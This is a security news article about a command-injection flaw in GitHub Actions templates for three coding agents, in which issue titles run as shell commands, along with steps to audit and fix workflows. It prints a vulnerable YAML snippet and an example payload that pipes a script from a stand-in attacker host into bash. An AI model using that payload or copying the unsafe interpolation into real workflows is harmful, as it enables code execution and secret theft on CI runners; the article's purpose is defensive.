ai-codereal-world

GitHub Actions configs from Anthropic, Google, and OpenAI all vulnerable to same RCE

Security researchers discovered that default GitHub Actions configurations published by Anthropic, Google, and OpenAI for their coding agents could be exploited via unauthenticated GitHub issues to achieve remote code execution.

September 14, 2026

GitHub Actions configs from Anthropic, Google, and OpenAI all vulnerable to same RCE

Three coding agents. Three different labs. Same default GitHub Actions template. Same hole. Security researchers testing the workflows that Anthropic, Google, and OpenAI publish for wiring Claude Code, Gemini CLI, and Codex into CI pipelines found that all three could be tripped by nothing more than an unauthenticated GitHub issue, ending in remote code execution on the runner. Not a sophisticated exploit chain. An issue anyone can open on a public repo.

How an issue title becomes a shell command

The bug class here is not new, but it is easy to miss if you have not stared at a GitHub Actions YAML file for a while. Think of a workflow like a mail-sorting robot at a company loading dock. The robot reads the label on each package and routes it to the right department. Now imagine someone writes their "department" as a string of instructions instead of a name, like "Accounting; also, unlock the back door." A robot that blindly executes whatever text is on the label, instead of treating it as inert data, will do exactly what the label says.

That is what happens when a GitHub Actions workflow interpolates untrusted input, an issue title, a PR body, a comment, directly into a shell step. A snippet that looks harmless:

- name: Handle issue
run: |
echo "Processing issue: ${{ github.event.issue.title }}"

looks fine until someone titles an issue "; curl attacker.example/payload.sh | bash #". The double quotes do not save you. GitHub Actions expands that expression into the shell command before the shell ever sees quoting rules, so the attacker's text runs as code, not as a string. This is documented, publicly, in GitHub's own hardening guide, which has warned about exactly this pattern for years. What made this week's finding notable is that the reference workflows shipped by the three biggest agent vendors, the templates developers copy-paste to wire an autonomous coding agent into their repo, had versions of this same flaw sitting in the default config.

What the thread actually argued about

Everyone spent a year worrying about the model prompt-injecting itself into doing something bad, and it turns out the actual vulnerability was in the YAML file sitting next to it the whole time.

That line, paraphrasing the top of the r/artificial thread discussing the finding, gets at why this landed differently than the usual "AI safety" story. Most of the discourse around coding agents and security has been about the model: will Claude Code hallucinate a destructive command, will Codex leak a secret it was never supposed to see, will an autonomous agent decide to run rm -rf because a prompt confused it. Those are real concerns. But this bug did not care what the model did. It fired before the agent was ever invoked, in the plumbing that decides whether the agent runs at all.

The uncomfortable part for the three labs involved is that this is exactly the kind of mistake their own products are supposed to help catch. Claude Code, Gemini CLI, and Codex are all pitched, in part, as tools that review code for you. A default workflow config with a known, documented injection pattern in it should be the easiest possible catch for a code review agent. It shipped anyway, three times, from three different companies, in the config each one tells its own users to trust.

What this looks like on an actual repo

Say you maintain an open source Python library with 40 stars and a CI setup that triggers Claude Code to triage incoming issues automatically, label them, and draft a first-pass response. You followed the setup guide, copied the sample .github/workflows/claude-triage.yml from the vendor's docs, and never looked closely at the run: steps because the whole point of the template was to not have to think about it.

An attacker does not need write access to your repo. They need an account and a browser. They open a new issue titled something that looks like a normal bug report on the surface but has a shell payload embedded in a field the workflow interpolates unescaped: the title, a label, sometimes a comment body. The workflow fires on issues: opened, which is public and unauthenticated by design, that is the whole point of letting anyone file a bug. The runner picks it up, the vulnerable step expands the payload into a shell command, and now arbitrary code is executing with whatever permissions your GITHUB_TOKEN has. If that token has write access to secrets, packages, or other repos in the org, the attacker just inherited that access from an issue they filed for free.

You find out when your npm publish token gets used from an IP you don't recognize, or when a maintainer notices a workflow run that nobody triggered on purpose. By then the useful window for a quiet fix has closed.

Checking your own workflows

If you have any of these three agents wired into GitHub Actions, this is worth ten minutes before your next merge.

  1. Open every workflow file that triggers on issues, issue_comment, or pull_request_target, the three event types that accept input from users without write access.
  2. Search each file for run: steps that reference ${{ github.event.issue.title }}, github.event.issue.body, github.event.comment.body, or github.head_ref directly inside a shell command.
  3. Anywhere you find one, move the value into an environment variable first, then reference the environment variable inside the shell step instead of interpolating the expression directly:
    - name: Handle issue
    env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    run: |
    echo "Processing issue: $ISSUE_TITLE"
    This forces the shell to treat the value as data, not as part of the command it is asked to run.
  4. Check the permissions block at the top of the workflow. If it is not explicitly scoped down with permissions: contents: read or similarly narrow, tighten it so a compromised step cannot reach secrets or write access it does not need.
  5. Re-run the workflow against a test issue with a deliberately malformed title, something like test"; echo pwned; #, on a throwaway fork. If the log shows pwned printed as a side effect rather than as literal text inside your echo output, you still have the hole.

That last step is your verification test. If the payload prints as inert text, the fix worked. If it executes, it did not, and you should not trust the vendor's default template until it does.

Back to the issue nobody had to authenticate to file

The finding that started this was simple to state and easy to underestimate: three labs, three agents, one shared bug, and the trigger for all of it was an issue anyone with a free GitHub account could open. Nothing about Claude Code, Gemini CLI, or Codex being smarter or dumber as coding assistants changes that math. The vulnerability lived in the YAML around the agent, not in the agent's judgment. If you run any of these tools through GitHub Actions, the fix is not waiting for a patch note, it is opening the workflow file yourself and checking whether user-controlled text ever touches a shell step unescaped. For a longer look at where autonomous agents introduce risk that has nothing to do with model quality, see our coverage of Claude's load-bearing quirks and how coding agents are scored in practice in our piece on code search agent benchmarks. If you are comparing agent tooling more broadly, Claude Code, GitHub Copilot, and Goose sit in the same category this bug touched, and our Cursor vs GitHub Copilot comparison covers how their default integrations differ. GitHub's own security hardening guide for Actions has the full list of patterns worth auditing beyond just this one.

Some links in this article are affiliate links. Learn more.